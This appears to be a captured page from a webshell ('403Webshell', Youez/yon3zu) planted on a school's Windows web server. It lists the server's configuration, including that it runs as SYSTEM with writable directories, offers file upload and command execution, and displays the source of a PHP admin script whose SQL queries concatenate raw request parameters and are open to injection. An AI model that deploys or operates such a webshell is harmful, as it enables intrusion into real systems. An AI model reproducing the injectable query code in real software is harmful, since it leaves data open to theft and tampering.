403Webshell
Server IP : 104.21.80.248  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/check/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/check/webadmin/function_department.php
<?php
session_start();
$path = "../";
include ($path.'include/config_db.php');
include ($path.'include/class_db.php'); 
include ($path.'include/class_display.php'); 
include ($path.'include/function.php'); 
include ($path.'include/permission_denied.php'); 
$CLASS['db']   = new db();
$CLASS['db']->connect(); 
$CLASS['disp']   = new display();
$db   = $CLASS['db']; 
$disp   = $CLASS['disp']; 

$edit_id = $_REQUEST['edit_id'];
$date_day = date("Y-m-d").' '.date("H:i:s");  
$tb_department_name = $_REQUEST['tb_department_name'];
$tb_department_status = $_REQUEST['tb_department_status'];

if($edit_id){

	$db->query("update tb_departments set tb_department_name='".$tb_department_name."', tb_department_date='".$date_day."' where tb_department_id='".$edit_id."'");
	print "
	<script language='javascript'>
		window.location.href='display_department.php';
	</script>
	";
}else{
	$db->query("insert into tb_departments  (tb_department_id, tb_department_name, tb_department_date) values (NULL, '".$tb_department_name."', '".$date_day."')");	
	print "
	<script language='javascript'>
		window.location.href='display_department.php';
	</script>
	";
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit